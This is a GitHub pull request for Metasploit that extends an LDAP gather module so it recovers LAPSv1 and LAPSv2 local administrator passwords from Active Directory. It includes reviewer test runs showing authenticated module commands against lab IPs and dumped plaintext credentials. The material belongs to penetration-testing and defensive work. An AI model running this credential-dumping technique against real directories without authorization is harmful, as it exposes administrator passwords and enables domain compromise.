Add LAPSv1 and LAPSv2 LDAP Module#20017
Merged
jheysel-r7 merged 14 commits intorapid7:masterfrom Apr 30, 2025
Merged
Conversation
We're shifting the focus to password recovery but we'll still gather hashes if they're found.
jheysel-r7
reviewed
Apr 29, 2025
Contributor
jheysel-r7
left a comment
There was a problem hiding this comment.
Awesome work @zeroSteiner. A couple questions. Testing was as expected 👍
Testing
Open LDAP
msf6 auxiliary(gather/ldap_passwords) > rerun ldap://:@127.0.0.1:1389
[*] Reloading module...
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
[*] Discovered base DN: dc=example,dc=org
[*] The target LDAP server is not an Active Directory Domain Controller.
[*] Searching base DN: dc=example,dc=org
[+] Credentials (password) found in userpassword: user01:password1
[+] Credentials (password) found in userpassword: user02:password2
[*] Found 2 entries and 2 credentials in 'dc=example,dc=org'.
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
LAPSv1:
msf6 auxiliary(gather/ldap_passwords) > run ldap://kerberos.issue;Administrator:N0tpassword!@172.16.199.200
[+] Successfully bound to the LDAP server!
[*] Discovered base DN: DC=kerberos,DC=issue
[*] Checking if the target LDAP server is an Active Directory Domain Controller...
[*] The target LDAP server is an Active Directory Domain Controller.
[*] Searching base DN: DC=kerberos,DC=issue
[+] Credentials (password) found in ms-mcs-admpwd: Administrator:d4(Hn9qF (expires: 2026-04-18 20:12:35 UTC)
[!] No active DB -- Credential data will not be saved!
[*] Found 1 entries and 1 credentials in 'DC=kerberos,DC=issue'.
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
LAPSv2
msf6 auxiliary(gather/ldap_passwords) > run ldap://msf.local;Administrator:N0tpassword!@172.16.199.130
[+] Successfully bound to the LDAP server!
[*] Discovered base DN: DC=msf,DC=local
[*] Checking if the target LDAP server is an Active Directory Domain Controller...
[*] The target LDAP server is an Active Directory Domain Controller.
[*] Searching base DN: DC=msf,DC=local
[+] Credentials (password) found in mslaps-password: Administrator:n7.1&+#xrp3JuV (expires: 2025-05-29 04:24:40 UTC)
[!] No active DB -- Credential data will not be saved!
[*] Found 1 entries and 1 credentials in 'DC=msf,DC=local'.
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
a748d36 to
ea19e12
Compare
This was referenced Apr 30, 2025
ea19e12 to
2fdb261
Compare
jheysel-r7
approved these changes
Apr 30, 2025
Contributor
jheysel-r7
left a comment
There was a problem hiding this comment.
Retested with latest change and is working as expected 👍
msf6 auxiliary(gather/ldap_passwords) > run ldap://msf.local;Administrator:N0tpassword!@172.16.199.130
[*] Discovered base DN: DC=msf,DC=local
[*] The target LDAP server is an Active Directory Domain Controller.
[*] Searching base DN: DC=msf,DC=local
[+] Credentials (password) found in mslaps-password: Administrator:n7.1&+#xrp3JuV (expires: 2025-05-29 04:24:40 UTC)
[*] Found 1 entries and 1 credentials in 'DC=msf,DC=local'.
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(gather/ldap_passwords) > run ldap://kerberos.issue;Administrator:N0tpassword!@172.16.199.200
[*] Discovered base DN: DC=kerberos,DC=issue
[*] The target LDAP server is an Active Directory Domain Controller.
[*] Searching base DN: DC=kerberos,DC=issue
[+] Credentials (password) found in ms-mcs-admpwd: Administrator:d4(Hn9qF (expires: 2026-04-18 20:12:35 UTC)
[*] Found 1 entries and 1 credentials in 'DC=kerberos,DC=issue'.
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(gather/ldap_passwords) > rerun ldap://:@127.0.0.1:1389
[*] Reloading module...
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
[*] Discovered base DN: dc=example,dc=org
[*] The target LDAP server is not an Active Directory Domain Controller.
[*] Searching base DN: dc=example,dc=org
[+] Credentials (password) found in userpassword: user01:password1
[+] Credentials (password) found in userpassword: user02:password2
[*] Found 2 entries and 2 credentials in 'dc=example,dc=org'.
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
Contributor
Release NotesThis updates and renames the ldap_hashdump module to ldap_passwords, extending its functionality to extract secrets used by LAPSv1 and LAPSv2 in Active Directory environments, alongside existing LDAP implementations. It simplifies usage by unifying techniques under one module and avoids requiring users to fingerprint the server type. Associated tests were also updated to include AD-specific data using Samba as a test LDAP server. |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
This updates and moves the existing
ldap_hashdumpmodule toldap_passwordsand extends the attributes it searches for to process those used by LAPSv1 and LAPSv2 (both encrypted and unencrypted). The originalldap_hashdumpmodule would search for hashes and passwords from misc LDAP server implementations. The original seemed to have been inspired by CVE-2020-3952, for which there is still a dedicated module. The changers herein effectively add techniques specific to Active Directory LDAP servers. I think it makes a lot of sense to combine the functionality because:I'm open to suggestions on better names for the module. Perhaps
ldap_secrets_dumpwould be more intuitive given everything it looks for.In addition to the module updates, the
ldap_spectests have been updated for this module. The target LDAP server that the tests use is Samba as an Active Directory Domain Controller, so it makes sense to add the new password data that is applicable in AD environments. To support that, the tests were updated to add test accounts with both LAPSv1 and LAPSv2 passwords in use. Only plaintext LAPSv2 can be used, because the encrypted variant requires the GKDI service that Samba does not support.Closes #19838
Verification
Testing requires changes from rapid7/ruby_smb#286 and rapid7/ruby_smb#284. The last commit points to a temporary branch to make testing easier. The temporary branch includes changes from both PRs.
git clone https://github.com/HynekPetrak/bitnami-docker-openldap.gitcd bitnami-docker-openldap && docker-compose up -dms-mcs-admpwdattributemslaps-encryptedpasswordormslaps-passwordattribute depending on if encryption was enabledDemo